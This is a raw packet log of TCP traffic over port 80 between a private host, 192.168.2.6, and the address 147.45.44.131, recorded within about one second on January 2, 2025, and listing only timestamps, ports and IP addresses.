Jan 2, 2025 19:14:16.920241117 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.920241117 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.920339108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920344114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920355082 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920360088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920366049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920386076 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.920475006 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948146105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948153019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948164940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948216915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948261976 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948293924 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948308945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948316097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948319912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948333979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948345900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948348045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948350906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948355913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948362112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948367119 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948375940 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948388100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948391914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948415041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948421001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948431969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948448896 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948448896 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948448896 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948472977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948479891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948493958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948498011 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948513031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948523998 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948523998 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948528051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948534966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948540926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948546886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948559999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948565006 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948565006 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948566914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948596954 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948596954 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948846102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948852062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948863983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948868990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948880911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948885918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948898077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948904037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.948925018 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.948942900 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949152946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949158907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949171066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949191093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949203968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949210882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949215889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949220896 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949225903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949230909 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949230909 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949259996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949265957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949278116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949284077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949295044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949300051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949300051 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949306965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949337959 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949353933 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949395895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949403048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949409962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949493885 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949496031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949510098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949516058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949521065 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949526072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949568033 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949651003 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.949670076 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949742079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949747086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949752092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949759960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949765921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949768066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949774027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949779987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.949809074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.950021982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.951073885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951155901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951162100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951174974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951179981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951188087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951194048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951226950 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.951283932 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.951443911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951530933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951541901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951548100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951559067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951565027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951570988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951576948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951595068 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.951608896 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.951723099 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.951853991 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951944113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951950073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951956034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951961040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951966047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.951972008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952027082 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.952101946 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.952610016 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952773094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952778101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952795029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952800989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952806950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952812910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952817917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952824116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952828884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952832937 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.952832937 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.952840090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952847004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952853918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952858925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952864885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952872038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.952882051 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.952882051 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.952896118 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.953066111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953107119 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.953154087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953159094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953171015 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953176975 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953181982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953192949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953197956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953201056 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.953201056 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.953273058 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.953377008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953433037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953438044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953443050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953459024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953464985 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953469038 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.953471899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953484058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.953484058 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.953583956 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.976567030 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976608992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976614952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976623058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976635933 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976649046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976655006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976660013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976703882 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.976711035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976716042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976763010 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.976763964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976797104 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.976829052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976835012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976840973 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976857901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976864100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.976912975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.976912975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.977751970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.977756977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.977763891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.977816105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.977822065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.977828026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.977833033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.977838993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.977864027 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.977897882 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.977897882 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978264093 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978301048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978306055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978312016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978370905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978375912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978391886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978398085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978404999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978432894 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978432894 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978485107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978492022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978497028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978533030 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978559017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978571892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978578091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978600025 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978625059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978630066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978636026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978674889 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978674889 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978713036 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978719950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978811026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978816032 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978827953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978833914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978840113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978846073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978866100 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978893042 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.978971004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978976965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.978984118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979074001 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979074955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979083061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979089022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979094982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979259014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979264975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979270935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979275942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979281902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979286909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979293108 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979298115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979304075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979319096 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979319096 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979345083 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979345083 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979356050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979362011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979367018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979372978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979378939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979383945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979420900 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979597092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979631901 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979656935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979664087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979715109 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979729891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979734898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979741096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979753017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979782104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979784966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979798079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979803085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979809999 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979862928 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979862928 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.979984999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979991913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.979999065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980004072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980010033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980015039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980021954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980055094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980057001 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.980061054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980067968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980079889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980088949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980099916 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.980128050 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.980199099 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.980233908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980283976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.980365038 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.983048916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983092070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983098984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983104944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983119011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983236074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.983248949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983259916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983267069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983272076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983283997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983289957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983298063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983309984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983325005 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.983325005 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.983392000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983453035 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.983499050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983505964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983511925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983517885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983524084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983530045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983535051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.983571053 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.983628035 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.987257957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987265110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987271070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987306118 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987339020 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.987354040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987360001 CET	80	49726	147.45.44.131	192.168.2.6
